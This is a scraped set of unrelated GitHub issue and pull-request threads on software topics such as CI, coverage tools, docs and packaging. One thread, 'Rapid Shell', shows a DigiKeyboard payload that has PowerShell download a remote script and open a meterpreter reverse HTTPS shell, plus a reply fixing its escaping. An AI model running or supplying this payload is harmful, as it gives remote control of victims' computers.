https://github.com/user-attachments/assets/a57bfa0e-2e75-49f4-a027-90054b024388

Android: mWeb Chrome
https://github.com/user-attachments/assets/06c89f24-4e1c-4ebb-8896-9e8f03caa4cb

iOS: Native
https://github.com/user-attachments/assets/9f3416ff-56b6-48c7-a354-43d7030ce6c3

iOS: mWeb Safari
https://github.com/user-attachments/assets/b6b96b55-dd87-4a0d-a3b0-ade91cf9c07d

MacOS: Chrome / Safari
https://github.com/user-attachments/assets/f783e882-deb1-4ad7-b823-67368b5fd4a4

MacOS: Desktop
https://github.com/user-attachments/assets/d67bfc44-3312-42ec-a587-34b60faadc43

:hand: This PR was not deployed to staging yet because QA is ongoing. It will be automatically deployed to staging after the next production release.

🚀 Deployed to staging by https://github.com/francoisl in version: 9.0.17-0 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

🚀 Deployed to production by https://github.com/marcaaron in version: 9.0.17-2 🚀

platform
result

🤖 android 🤖
failure ❌

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

🚀 Deployed to production by https://github.com/marcaaron in version: 9.0.17-2 🚀

platform
result

🤖 android 🤖
failure ❌

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

🚀 Deployed to production by https://github.com/marcaaron in version: 9.0.17-2 🚀

platform
result

🤖 android 🤖
failure ❌

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅


Visualization

The visualization code allows users to inspect the geometry of WC detectors easier. A new visualizer called RayTracer was added and can be accessed by using the visRayTracer.mac macro file instead of the original vis.mac. The majority of the changes from the original files come in the form of visual attributes being added to cylinder and PMT volumes for the RayTracer visualizer.

I would like to propose that this becomes its own macro (separate from vis.mac). In order to get Raytracer to work, you have to comment out almost every line of vis.mac and uncomment out the Raytracer lines. It would be cleaner and easier to run if it exists as a separate .mac file.

I checked out this pull request today and played around with visualizing different configurations with raytracer. It's working well and is really easy to use! Once you've made these last few small changes that I indicated on the line notes, this can get merged in.

Ok, looks good. I am merging this in. Thanks for your work this summer, Nathan!


SD card format in GUI only formats the existing partition ignoring the rest of the space

If SD card has a partition that occupies only part of the space, Thinkgino's 'Format SD card' feature in menu tools->sd card only formats the existing partition with FAT32 and ignores the rest of the space.
The formatter should check the total size of the sd card and if formatting it should use all available space and have an option to select FAT32 or exFAT.

please test if the issue still persists with the new formatter.


update altera_max10 board documentation and remove references to nanokernel

in the board documentation for max10 we still talk about nanokernel and show an example with gdb using the old kernel files, this needs to be updated:
  (gdb) b nano_init
   Breakpoint 1 at 0x1de8: file /projects/zephyr2/kernel/nanokernel/nano_init.c, line 207.
   (gdb) c
   Continuing.

   Breakpoint 1, _Cstart () at /projects/zephyr2/kernel/nanokernel/nano_init.c:323
   323      nano_init((struct tcs *)&dummyTCS);
   (gdb) bt
   Python Exception <type 'exceptions.ImportError'> No module named gdb.frames:
   #0  _Cstart () at /projects/zephyr2/kernel/nanokernel/nano_init.c:323
   #1  0x00003ca4 in _PrepC () at /projects/zephyr2/arch/nios2/core/prep_c.c:61
   #2  0x00003ccc in __start () at /projects/zephyr2/arch/nios2/core/crt0.S:155

PR submitted:
https://github.com/zephyrproject-rtos/zephyr/pull/5301

PR submitted:
#5301

thanks, you should always do the reference in the PR itself, for example:
"Fixes #5284", github then will pick this up and automate closing the issue


[INTERNAL] CI: Fixes CI excluding performance and codecoverage jobs

[INTERNAL] CI: Fixes excluding performance and code coverage jobs from CI
Performance job: ~36Minutes
Code coverage debug build: 35Minutes
Tests with-out test coverage: 18Minutes
Changes:

CI pipeline: Excluded performance and Codecoverage
Rolling: Will include performance and codecoverage (no change here same as earlier)

Overall long pole is still EmulatorTests but at-least will help us on concurrency.
https://cosmos-db-sdk-public.visualstudio.com/cosmos-db-sdk-public/_build/results?buildId=51336&view=results

https://cosmos-db-sdk-public.visualstudio.com/cosmos-db-sdk-public/_build/results?buildId=51339&view=results

Hmm - I'm not sure I like the idea of skipping code coverage.  It would be nice to be able to see any modified code is covered in a PR.


Rapid Shell

Error when uploading script:
msf:50:135: error: expected ';' before 'windows'
DigiKeyboard.println("powershell "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/14bZZ0c'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost <<IP_ADDRESS>> -Lport <4444> -Force""); // Edit both Lhost and Lport according to your setup
                                                                                ^

exit status 1
too many decimal points in number

Sorry for the late reply, I missed the notification. Looks like the double quotes aren't escaped. This should do the trick:
DigiKeyboard.println("powershell \"IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/14bZZ0c'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost <<IP_ADDRESS>> -Lport <4444> -Force\""); // Edit both Lhost and Lport according to your setup


HTML

HTML
User Story
As a bootcamp student
I want the prework notes to be structured on a webpage
so that I can easily find and read information
Acceptance Citeria
GIVEN a Prework Study Guide website
WHEN I visit the website in my browser
THEN I see four boxes listed HTML, CSS, Git, and JavaScript with associated notes

Done! 8/26


Support to pull prompt templates and model configuration from MakerSuiteHub

Addresses #2564
This creates a MakerSuiteHub class with methods to load (with cache) a text, "data", or chat prompt that has been saved via makersuite.google.com. This prompt has methods to convert to a template, a prompt-free model, or to a chain which combines the two.
There are also some changes in the base connection class and types to allow for more generic calls to other Google REST APIs (in this case, Google Drive).
Examples and other documentation are pending initial review to make sure this looks good, but the tests should be complete.

So sorry about the delay - this seems reasonable, just missing entrypoints and docs

@jacoblee93 - I think (hope) this is ready for final review and merge.

Thank you, will look tomorrow!

Should be good to go! Thank you


Clean up css involved in Indicator Performance Tracking Table (IPTT)

This follows work on related tickets #120, #121 & possibly others. Will likely involve some CSS refactoring tracked separately on #300

Subtasks:

[ ] Navbar is constrained to inner container which looks weird on this page
[ ] Filter toggle needs a more explicit icon & label
[ ] Padding around filter toggle
[ ] Filter expand/collapse function pushes table off the page
[ ] Table breaks viewport
[ ] Filter panel indistinguishable from header
[ ] Target table popup doesn't work in Safari/Mac

There is related work in #298 & #239


Transition between ramps briefly going the wrong way

          So, the only other thing that's happening is a very weird transition between ramps. Demonstrated here. It seems like the end of the ramp drops the token off its ramp to the floor (in this case, floor 3, at 30 ft), then the next ramp picks the token up, raising them back to the top of the ramp before it lets the token continue onward. The end result is the same, but the actor gets a peek under the ramp briefly, which could spoil some hidden things.

Originally posted by @Commander-Fayne in https://github.com/caewok/fvtt-terrain-mapper/issues/44#issuecomment-2322161768

I cannot replicate this now. Possibly fixed in recent updates?


Avoid jumps between nearby code blocks

Sometimes when I highlight two code blocks that are near or overlapping, the code in the window "jumps" up or down although both successive blocks can fit into Window. See example here:
https://gitpitch.com/pitchme/slideshow/github/zeljkot/presentations/master?p=swagger#/10/1
The presentation will look smoother if this can be avoided; for example, I could set the first line that should be visible. Scrolling algorithm should take first visible and last highlighted line rather than first and last highlighted line.

Closing RFE.


Test new env var RAKULIB

Test is for the new RAKULIB environment variable implemented in Rakudo PR #3516.

There really isn't a need to create/load a module -- we only need to check that the path is available for loading modules. For example:
$ perl6 -e 'BEGIN my $spec = "file#{q|./foobarbaz|.IO.absolute}"; say $*REPO.repo-chain.grep({ .path-spec eq $spec }).so;'
False

$ perl6 -e 'BEGIN my $spec = "file#{q|./foobarbaz|.IO.absolute}"; say $*REPO.repo-chain.grep({ .path-spec eq $spec }).so; BEGIN %*ENV<PERL6LIB> = $spec'
True

Is this one ready for merge?
@ugexe I think just testing for the path existing in the specs is still not enough. By actually loading something we may cover regressions in module loading code in general. In other words, I would treat this test as the ability to load a module from a specified path.

We have tons of tests, many implicit, that ensure a given path can load modules.

At the very least there is no reason to dynamically create a module to do this test. Here is a folder full of modules that can be loaded already in the roast to point to.

@ugexe, your ideas are good. Why don't I close this PR and you fix the tests. All I've done is piggy back on the existing test for PERL6LIB and I didn't see the need for a wholesale rewrite of all the existing env var module path tests.

Here is an untested example. I'm sure you can get it to work if it doesn't already.
use Test;

# you might need to adjust .parent(...) based on where you save this test
my $path-to-dist = $?FILE.IO.parent(2).add("packages/Example/lib").absolute;

subtest 'RAKULIB' => {
    my $env = %*ENV;
    $env<RAKULIB> = $path-to-dist;

    ok so run :$env, :!out, :!err, $*EXECUTABLE.absolute, "-e", "use Example::A";
}

subtest 'PERL6LIB (deprecated?)' => {
    my $env = %*ENV;
    $env<PERL6LIB> = $path-to-dist;

    ok so run :$env, :!out, :!err, $*EXECUTABLE.absolute, "-e", "use Example::A";
}

Okay, I'll try that tomorrow. Thanks.

Closing this PR--will resubmit after I use @ugexe's suggestions.


Is it possible to add a breath removal function?

Can add a function that can remove the tremor caused by breathing?

Do you hit this even with the health feature on ?

Do you hit this even when Stamina feature is on ?

Yes, regardless of the stamina, isn't there a slight shaking when ADS.

Seems to be good with this change:
https://github.com/sailro/EscapeFromTarkov-Trainer/commit/7a2e275f8056c4525be8a1e6e7159f7f1de25568


Import sorting is breaking file

I am using the vscode sort on save setting and the following happens when I save the file. Variations of this happen on multiple files to the point of affecting code as well.
Before:

After:

I think it has something to do with trailing commas in tuples

Thanks for the report!
If you have time could you provide a minimal example (as text rather than a screenshot) that reproduces the problem? It'd be helpful to narrow down what exactly causes the problem.

Do you have the isort extension enabled? To me, this looks a lot like https://github.com/astral-sh/ruff-vscode/issues/128 which unfortunately is actually a VS Code bug (https://github.com/microsoft/vscode/issues/174295). Can you try disabling the isort extension?

@charliermarsh I had wondered if isort was implicated in this but, forgot that there was a dedicated extension for it. Just turned it off. The issue is weirdly intermittent so I won't know if it fixes the problem for a bit. I think we can close for now and I can just reopen with better examples for @zanieb if it recurs.


Make in memory template name match it's declaration

With nbconvert 5.1.1+ in-memory templates need to be declared with the same "file name" as they are then invoked with. This relates to the changes made to allow in memory templates more generally because it's fine now for them to have no extension while being loaded.
Right now nbsphinx is looking for nbsphinx-rst when it has loaded nbsphinx-rst.tpl.
This fix should address the issue with nbsphinx and nbconvert 5.1.1 that is currently stopping docs that use nbsphinx from building. I've tested it locally on python2 and 3 and it makes the nbconvert docs build again.

Thanks, but your solution doesn't seem to work with nbconvert 5.1.0, it gives me:
Notebook error:
TemplateNotFound in allow-errors.ipynb:
nbsphinx-rst.tpl

It works when I add the extension .tpl to both strings.

That's extremely strange.
I just tried it with 5.1.1 and 5.1 our docs build with and without this one commit.

Are you sure you're not using nbconvert 5.0.0? Because without the changes to in memory template loading in 5.1.1/5.1.0 this won't fix things.

Sorry, I was very imprecise!
I was simply using the version I had checked out at that time (which happened to be https://github.com/jupyter/nbconvert/commit/d7c996c87db98c2bb80e72a0c22511a802064bc4) and I just wanted to say that it's something lower than the new release ...
Anywho, I was wondering why you removed the extension from one string instead of adding it to the other. Is there a reason?
Because if there's not, you could just add it to both, then it would even work with my randomly chosen commit ...

I'd approached it that way because to me, in-memory templates don't need to have an "extension" if they're not being saved to the file system. It makes it clearer to developers when they run into an issue that they don't need to look for a template file being shadowed on the file system (a problem that can occur easily) versus an object that's being created in-memory and so it may need to be tracked down in an interpreted fashion. This doesn't matter too much in your case, since the declaration and use are so near each other.
I can see a use where they should disagree: if you also had a similar template that was directed toward LaTeX  (just with a .tplx extension) and you wanted subclasses of the exporter class to be able to choose either of them from memory as needed. But https://github.com/jupyter/nbconvert/pull/518 should address that use case.

#95 takes the other approach. I agree that it shouldn't be necessary to specify an extension here, but as it is in some versions of nbconvert, let's go for what works.

Thanks @michaelpacer for the explanations. As you say, the problem you described isn't that critical in my case. I merged @takluyver's PR because it works in at least one known commit where yours doesn't.
Thanks again!


awx_web running as uid 1000 but should be 0?

Hi
First, thanks for doing this, i was making this my self but you beat me to it :)
Problem:
I could not access the webinterface, eventhough the migration was complete.
When looking at the logs for awxweb, i could see:

nginx: [alert] could not open error log file: open() "/var/log/nginx/error.log" failed (13: Permission denied)
2017/09/09 14:06:35 [emerg] 81#0: mkdir() "/var/lib/nginx/tmp/client_body" failed (13: Permission denied)

And supervisor log:

2017-09-09 14:06:35,762 INFO exited: nginx (exit status 1; not expected)
2017-09-09 14:06:36,770 INFO gave up: nginx entered FATAL state, too many start retries too quickly

And i could see that its running under the UID 1000, eventhough root is set to UID 0 in /etc/passwd
If i added: "user: root" to the docker-compose file, under awxweb, it runs fine.
And i didt have this issue when i created the images from scratch, from the official awx repo
I also tested it on another docker instance, same issue
Both running Debian 8 ( jessie )
Have you run into this issue?

Yes, see: https://github.com/ansible/awx/issues/89
Also, it seems when I try to set user: root in the compose file, I end up with no front end assets (JS or CSS) even though it seems other things load in fine :/

Yea saw your issue on ansible/awx, but wasnt sure it was 100% related.
I dont have any problems loading assets

Strange... I'll have to try again this morning, after resetting things locally.

@MartinTerp - Are you on Linux, Mac, or Windows btw?

@geerlingguy Linux Debian 8 (tried it on 2 hosts, both Debian)

I'm testing a fresh new container locally... though being on a plane means upload will be pretty slow :D
The fix of using user: root in docker-compose seems to work okay, but https://github.com/geerlingguy/awx-container/issues/6 then becomes an issue. I'm testing the fix for that, and if that testing goes well, I'll push up a new container version momentarily!


Clean composer

phpunit is already installed on travis... let's use it, instead of something that is deprecated
allow symfony 3.0 components
use travis' composer binary, should not be our concern to run with the latest version

ping @krichprollsch of course.

looks good, ty @Taluu


Stop detection if cdq fails with error status

Fixes
https://issues.redhat.com/browse/HAC-2989

Description
The component detection hook did not consider cdq status to be completed when the condition is in error, this caused the hook to still be in detecting state.

Type of change

[ ] Feature
[x] Bugfix
[ ] Code style update (formatting, renaming)
[ ] Refactoring (no functional changes, no api changes)
[ ] Build related changes
[ ] Documentation content changes
[ ] Other (please describe):

Screen shots / Gifs for design review
https://user-images.githubusercontent.com/20013884/215988752-f9c436dd-8126-4d69-b76f-c8493be4dfa7.mp4

How to test or reproduce?

Browser conformance:

[ ] Chrome
[x] Firefox
[ ] Safari
[ ] Edge

/cc @sahil143 @rohitkrai03


feat(avoidance): suppress unnecessary avoidance path

Description

🤖 Generated by Copilot at 806fcd3
This pull request refactors and improves the filterTargetObjects function in planning/behavior_path_planner/src/utils/avoidance/utils.cpp by extracting some logic into separate functions and using utility functions from tier4_autoware_utils/math/unit_conversion.hpp. It also adds two new functions, isParkedOnRoadShoulder and toPolygon2d, in planning/behavior_path_planner/include/behavior_path_planner/utils/utils.hpp and planning/behavior_path_planner/src/utils/utils.cpp, to check if an object is parked on the road shoulder and to convert lanelet polygons to boost geometry polygons. These changes aim to simplify the code and improve readability, maintainability, and performance.
Please review following PR at first:
https://github.com/autowarefoundation/autoware_launch/pull/668

Tests performed

[x] PASS TIER IV INTERNAL SCENARIOS

Effects on system behavior

Not applicable.
Pre-review checklist for the PR author
The PR author must check the checkboxes below when creating the PR.

[x] I've confirmed the contribution guidelines.
[x] The PR follows the pull request guidelines.

In-review checklist for the PR reviewers
The PR reviewers must check the checkboxes below before approval.

[ ] The PR follows the pull request guidelines.

Post-review checklist for the PR author
The PR author must check the checkboxes below before merging.

[ ] There are no open discussions or they are tracked via tickets.

After all checkboxes are checked, anyone who has write access can merge the PR.

TODO: Write documentation about object filtering policy. @satoshi-ota


fix: Shard MeasurementsByContinuationToken index to avoid hotspotting

From the Cloud Spanner documentation on secondary indexes:

Be aware that using the commit timestamp column as the first part of the secondary index can create hotspots and reduce write performance.

Sharding is one of the recommendations given for how to avoid hotspotting.

This change is


feature request - docs on how to get this app working locally?

Playing with the up and struggling to make it work on my local mac, would be cool if there would be any docs for that

Check #12 - @leerob updated the README.

Yeah, hopefully should help now!


Data Collection Points

Add support for panda dataframe collection at certain points e.g. after agent.evaluate()

Released with https://github.com/simulatrex/simulatrex/releases/tag/v0.0.4


Feature autocomplete input

demo https://coveo.github.io/react-vapor/feature-autocomplete-input/

Codecov Report

Merging #558 into master will decrease coverage by 0.01%.
The diff coverage is 99.34%.

@@            Coverage Diff             @@
##           master     #558      +/-   ##
==========================================
- Coverage   99.74%   99.73%   -0.02%
==========================================
  Files         246      249       +3
  Lines        5974     6126     +152
  Branches     1366     1414      +48
==========================================
+ Hits         5959     6110     +151
- Misses         15       16       +1

Impacted Files
Coverage Δ

src/components/listBox/ListBox.tsx
100% <ø> (ø)
:arrow_up:

...rc/components/autocomplete/AutocompleteReducers.ts
100% <100%> (ø)

.../components/autocomplete/AutocompleteConnected.tsx
100% <100%> (ø)

src/components/autocomplete/AutocompleteActions.ts
100% <100%> (ø)

src/components/listBox/ListBoxReducers.ts
100% <100%> (ø)
:arrow_up:

src/components/itemBox/ItemBox.tsx
96.87% <93.33%> (-3.13%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 47f599e...9c55d50. Read the comment docs.

I've been trying to get the missing line to be covered by a test but no success... I might let it slip

You could also use levenshtein from underscore string to get similar values like we used for the Lightbox component in common.

When I select an option by pressing Enter, i think it should hide all the options just like when I click on an option. Both should have a similar behavior.

When there is no items, I think it should just hide the listbox, not to display "No items".

@sroy3 I didn't add the leveinstein distance in this PR since I only wanted to put a default "filter" functionnality, it's easy to add a custom match function tho
@gdostie I added a SlideY component to make the dropdown animate on open, good call! 🥇


[Bug] Wrong calculation of branch coverage in switch/case

Describe the bug
I have switch/case with 3 branches and all covered, but coverage says 2/3
To Reproduce

Version: 2.10.2
Node Version: v20.13.1
Have you tried the latest version (including node), and does the issue still exist?  yes
Steps to reproduce the actual behavior: see example

Expected behavior
Coverage 3/3
Errors or Screenshots
n/a
Make a minimal reproduction
export function experiment(a) {
  let result = 0
  switch (a) {
    case 1:
      result++;
    case 3:
      result++;
    default:
      result++;
  }
  return result;
}

Test
test("experiment", () => {
  expect(experiment(1)).toBe(3);
  expect(experiment(2)).toBe(1);
  expect(experiment(3)).toBe(2);
});

https://github.com/stereobooster/test-coverage-calculation

Additional context
n/a

Yes, it is a bug, but I'm not sure if it can be fixed.
The reason is that the V8 coverage data does not provide enough information to calculate the branch coverage.
for example, here is V8 coverage ranges:
{
    "functionName": "experiment",
    "ranges": [
        {
            "startOffset": 185,
            "endOffset": 360,
            "count": 3
        },
        {
            "startOffset": 249,
            "endOffset": 273,
            "count": 1
        },
        {
            "startOffset": 279,
            "endOffset": 303,
            "count": 2
        }
    ],
    "isBlockCoverage": true
}

And by parsing code AST, we can get a total of 3 branches, but whether each branch is covered is temporarily determined by simply calculating the count.
switch default count = total count 3 - case 1 count 1 - case 3 count 2 = 0 (this is wrong calculation becuase there is no break for switch/case)
For nomal case switch/case should be:
export function experiment(a) {
  let result = 0
  switch (a) {
    case 1:
      result++;
      break;
    case 3:
      result++;
      break;
    default:
      result++;
  }
  return result;
}

Hi. Thank you for fast response. And thank you for maintaining the project. By no means I meant to offend you or say that this is somehow a bad project. You did an impressive job to push poor v8 coverage API to it's limits.
I just noticed one bug, and I thought I would report it. I can't say this comes from real project. I found it by poking around. Feel free to close.

Thank you for reporting this issue.
I think we can keep it open.
Maybe one day there is a solution come up.

@stereobooster  It should be fixed, please try<EMAIL_ADDRESS>

Thank you for fixing it


Add an ansible_tower_log to vmdb loggers

The ansible tower client is using the base $log logger, add an
ansible_tower_log logger for it to use.
Provider PR to use the logger: https://github.com/ManageIQ/manageiq-providers-ansible_tower/pull/100

Thanks @carbonin


Update ngx_mruby to v1.18.0

See also release note: https://github.com/matsumoto-r/ngx_mruby/releases/tag/v1.18.0

@hsbt @buty4649 anyone check it?

LGTM !!


Regular expressions in raw strings aren't formatted

Example formatted by MagicPython:

/cc @queerviolet - Now we can handle this by injecting tree-sitter-regex into raw strings. We'll have to identify the strings' raw-ness from the text, by checking if the string starts with an r, fr, or br.
I'm not sure how specific we want to be about our injection. Maybe we just start by doing it in all raw strings?

You can write a query like https://github.com/nvim-treesitter/nvim-treesitter/blob/9e147d23566f58f2da6682242ffb89cb0de426b5/queries/python/injections.scm#L1-L6 to match nodes that contain a regex


Support SNAPSHOT versions and/or manual override version

It is useful, to me, that when building things locally it has some clear version that is never published to a repo like maven central or bintray (i.e. ends with -SNAPSHOT).
The current workflow with this plugin can be a little confusing. What happens if I check out a repo at version X, do some work, and at some point the repo publishes version X+1. If I then build mine locally and publish locally, I'm also at X+1. Which one will win? The published version or local version? I believe the answer is the local, but then what happens if I want to use the published version later? It'd be useful to build mine in away that won't ever conflict with a published version.
I'm thinking if the user specified -Pversion=x on the gradle CLI that the plugin should accept it as an override. Or, there could be a more specific -Psnapshot flag to enable adding a -SNAPSHOT suffix, which is less flexible. Though I understand sometimes SNAPSHOT versions are published, though that isn't my personal development flow...
Happy to submit a PR if we can work out the semantics and accept the issue.

Happy to submit a PR if we can work out the semantics and accept the issue.

Awesome, let's discuss the semantics. My initial instinct on how to solve it is to make the auto-version-plugin respect the version supplied by the user. Effectively, the plugin should check if "project.version" is already specified. If so, we just use that version, printing a clean explanation why we are using it. This approach would enable a scenario like: ./gradlew build -Pversion=1.0.0-SNAPSHOT.

I agree, I had the same thought in the OP even if it was little less clear.
This seems simple enough. We can test to see if a version has already been set by testing if project.getVersion().equals(Project.DEFAULT_VERSION).
Testing this out, we also need to set the shipkit previous version, as things may be looking for that (e.g. shipkit-changelog's generateChangelog task). We can't just skip the entire plugin. I assume we should just leave this as is.

Thanks! See it in action:
https://github.com/linkedin/datahub-gma/pull/52


Autocompletion for -e

Problem description
It would be nice to have autocompletion for pixi install/list/... -e <TAB> which lists all available environments.

I which we had this to! This is currently a real pain in the *ss to build as clap doesn't support custom auto-completion code. Adding this to the backlog of the multi env work but as not planned for near future work.

IMO, this configuration ideally should yield the following auto completions
[project]
name = "polarify"
channels = ["conda-forge"]
platforms = ["linux-64", "osx-arm64", "osx-64", "win-64"]

[dependencies]
python = ">=3.9"
pip = "*"
polars = ">=0.14.24,<0.21"

[feature.py39.dependencies]
python = "3.9.*"
[feature.py310.dependencies]
python = "3.10.*"
[feature.py311.dependencies]
python = "3.11.*"
[feature.py312.dependencies]
python = "3.12.*"

[feature.build.dependencies]
hatchling = "*"
[feature.build.tasks]
postinstall = "pip install --no-build-isolation --no-deps --disable-pip-version-check -e ."

[feature.test.dependencies]
pytest = "*"
pytest-md = "*"
pytest-emoji = "*"
hypothesis = "*"
[feature.test.tasks]
test = "pytest"

[environments]
py39 = ["py39", "test", "build"]
py310 = ["py310", "test", "build"]
py311 = ["py311", "test", "build"]
py312 = ["py312", "test", "build"]

pixi run -e <TAB>
py39
py310
py311
py312

pixi run <TAB>
build  # py39, py310, py311, py312
test  # py39, py310, py311, py312

In the use case described in https://github.com/prefix-dev/pixi/issues/767#issue-2115080972 (task not defined globally but is still in the default env), the task should also show up in pixi run <TAB>.

Closing this for the same reason as: https://github.com/prefix-dev/pixi/issues/778#issuecomment-1970857766


HDFS error message is not accurate.

Short summary about the issue/question:
As below code, if there is HDFS error, it will print error message, "Can not get code from HDFS. HDFS may be down". But the error may be caused by malformat file name. The error message misleads user in this case. It's better to print original error message.
https://github.com/Microsoft/pai/blob/master/src/rest-server/src/templates/yarnContainerScript.mustache#L264

The original error message is in stderr instead of stdout.

@yqwang-ms - shall we cover this type of issue in the status Epic?

Yep, we plan to cover this by Phase 3.

It's a code error, can be fixed quickly. And the #2326 is a high level design. Suggest to deal with them separately.

If so, @mzmssg to fix it.

The error message should be in stderr, we shouldn't reprint the same errors in both stdout and stderr.

@mzmssg
The point seems that "Can not get code from HDFS. HDFS may be down" may mislead user.
Please breakdown the error to be more detailed, such as HDFS file not found, etc.
If you feel hard in current stage, please just remove "HDFS may be down", and expose the orignal HDFS client exception message.

@mzmssg how about we make the following 2 changes:

Change the message to a more generic message: "Failed to copy data from HDFS."
Full error logs should be print out in both stdout and stderr.

@scarlett2018
Change 1 is acceptable, but Change 2 will make stderr meaningless.

@mzmssg - so your proposal is only print to stderr? I'm fine with this as well. Do you think this 2 changes can be make in End April Release?

#2464, of course it would be better if we seperate service log from the stdout and stderr in the furtue


Renamed file

- Summary

- Test plan

- Description for the changelog

- A picture of a cute animal (not mandatory but encouraged)

👷 Deploy Preview for allcourse processing.

Name
Link

🔨 Latest commit
a01b16a0bd452130f95ca105ecb354edca294ef7

🔍 Latest deploy log
https://app.netlify.com/sites/allcourse/deploys/628f8bd2caf2cc00098eb8ef


update logging operator dependency to 3.17.4

the 3.17.3 release of the logging-operator added HostTailer and EventTailer, enabled by default. If the logging operator is installed without the updated CRDs, it will crashloop.
This PR updates the logging-operator to 3.17.4 where they are disabled by default, whilst we work out how to automate the update of the CRDs after an update
and yes, we could do this, but I just don't know if we should, or how, or where
helm show crds banzaicloud-stable/logging-operator --version 3.17.3 | kubectl apply -f -

Thanks @tobybellwood I did put upgrade notes in the version that introduced the breaking change, but maybe it didn't have enough visibility https://github.com/uselagoon/lagoon-charts/releases/tag/lagoon-logging-0.59.0

yah - I did miss those :fearful: - the releases in this repo are thick and fast!
I think we need to look how to handle these crd updates along the way! I updated them in our test cluster (test1), but having them disabled for now is also easy!


support the Gather onnx op

As today, when trying to import an onnx file embedding a Gather op, ngraph throws :
Failure
C++ exception with description "Assertion 'unknown_operator_types.empty()' failed at repos/ngraph/src/ngraph/frontend/onnx_import/core/graph.cpp:82:
unknown operations: Gather" thrown in the test body.
the Gather op seems to be available since version 1:
https://github.com/onnx/onnx/blob/master/docs/Operators.md#Gather
kind

Unfortunately, we cannot support the Gather operation in nGraph. We're working on adding support for it.

It would be good to give a more descriptive error message when an op is not supported.

Support for ONNX Gather op was recently added. Please try it now.
https://github.com/NervanaSystems/ngraph/pull/2772


Add delete support to upsert tables

This PR adds support for deleting records in an upsert table #10452  . The design details can be found here.
The solution:

allows specifying the delete column name in the upsert config
the delete operation updates the validDocIds bitmap and a dedicated bitmap to mark the deleted docId

Adding more tests to the PR is in progress.
Labels: feature
cc: @Jackie-Jiang @mayankshriv @npawar @yupeng9

cc: @KKcorps

Should the queryableDocIdSnapshot needs to be persisted as well on shutdown for this to work?
Also, queryableDocId sounds confusing because validDocId is also used for querying. I think we should rename it to activeRowIds or undeletedRowIds

Codecov Report

Merging #10703 (b75ad95) into master (ab79548) will increase coverage by 0.04%.
The diff coverage is 70.54%.

@@             Coverage Diff              @@
##             master   #10703      +/-   ##
============================================
+ Coverage     70.25%   70.30%   +0.04%
- Complexity     6429     6436       +7
============================================
  Files          2112     2112
  Lines        113996   114059      +63
  Branches      17219    17236      +17
============================================
+ Hits          80084    80184     +100
+ Misses        28312    28260      -52
- Partials       5600     5615      +15

Flag
Coverage Δ

integration1
24.41% <4.10%> (+0.09%)
:arrow_up:

integration2
24.10% <7.53%> (+0.09%)
:arrow_up:

unittests1
67.79% <69.86%> (-0.02%)
:arrow_down:

unittests2
13.81% <0.00%> (-0.04%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

...ocal/indexsegment/immutable/EmptyIndexSegment.java
31.81% <0.00%> (-1.52%)
:arrow_down:

...psert/ConcurrentMapTableUpsertMetadataManager.java
33.33% <ø> (ø)

...apache/pinot/segment/local/upsert/UpsertUtils.java
24.24% <0.00%> (ø)

...ava/org/apache/pinot/segment/spi/IndexSegment.java
0.00% <ø> (ø)

...cal/upsert/BasePartitionUpsertMetadataManager.java
49.26% <28.57%> (-0.74%)
:arrow_down:

...rg/apache/pinot/spi/config/table/UpsertConfig.java
80.95% <33.33%> (-3.67%)
:arrow_down:

...he/pinot/segment/local/utils/TableConfigUtils.java
69.00% <36.36%> (-0.21%)
:arrow_down:

...local/indexsegment/mutable/MutableSegmentImpl.java
57.16% <77.77%> (-0.19%)
:arrow_down:

...ava/org/apache/pinot/core/plan/FilterPlanNode.java
82.48% <86.66%> (-0.73%)
:arrow_down:

...t/ConcurrentMapPartitionUpsertMetadataManager.java
82.57% <90.56%> (+1.62%)
:arrow_up:

... and 6 more

... and 40 files with indirect coverage changes
:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more

Should the queryableDocIdSnapshot needs to be persisted as well on shutdown for this to work?

We don't need to persist it because we still need to load everything in the validDocIds (including the deleted docs) to refresh the timestamp for the deleted docs

Also, queryableDocId sounds confusing because validDocId is also used for querying. I think we should rename it to activeRowIds or undeletedRowIds

If delete is enabled (by setting the deleteRecordColumn), we will only look at queryableDocIds during query time. We can add some javadoc so that it is more clear


[reflectcpp] Updated to reflectcpp 0.16.0; added support for various formats in the form of features

If this PR updates an existing port, please uncomment and fill out this checklist:

[x ] Changes comply with the maintainer guide.
[ x] SHA512s are updated for each updated download.
[ x] The "supports" clause reflects platforms that may be fixed by this new version.
[ x] Any fixed CI baseline entries are removed from that file.
[ x] Any patches that are no longer applied are deleted from the port's directory.
[ x] The version database is fixed by rerunning ./vcpkg x-add-version --all and committing the result.
[ x] Only one version is added to each modified port's versions file.

@liuzicheng1987 please read the following Contributor License Agreement(CLA). If you agree with the CLA, please reply with the following information.
@microsoft-github-policy-service agree [company="{your company}"]

Options:

(default - no company specified) I have sole ownership of intellectual property rights to my Submissions and I am not making Submissions in the course of work for my employer.

@microsoft-github-policy-service agree

(when company given) I am making Submissions in the course of work for my employer (or my employer has intellectual property rights in my Submissions by contract or applicable law). I have permission from my employer to make Submissions and enter into this Agreement on behalf of my employer. By signing below, the defined term “You” includes me and my employer.

@microsoft-github-policy-service agree company="Microsoft"

Contributor License Agreement

@microsoft-github-policy-service agree [company="{Code 17 GmbH}"]

@microsoft-github-policy-service agree [company="{Code 17 GmbH}"]

@microsoft-github-policy-service agree

All features passed with following triplets:
x86-windows
x64-windows
x64-windows-static

Usage test passed on x64-windows.

The toml feature has fragile dependency management.
Can this be tested with a user project?

When building reflectcpp, it doesn't use pkg-config but file-oriented find_... commands.
(It would be easy to use pkg-config when building the port.)
The exported CMake config make pkg-config required for toml.
But it is not generally installed in particular on Windows computers.
It is probably not necessary after the file-oriented find_... commands.
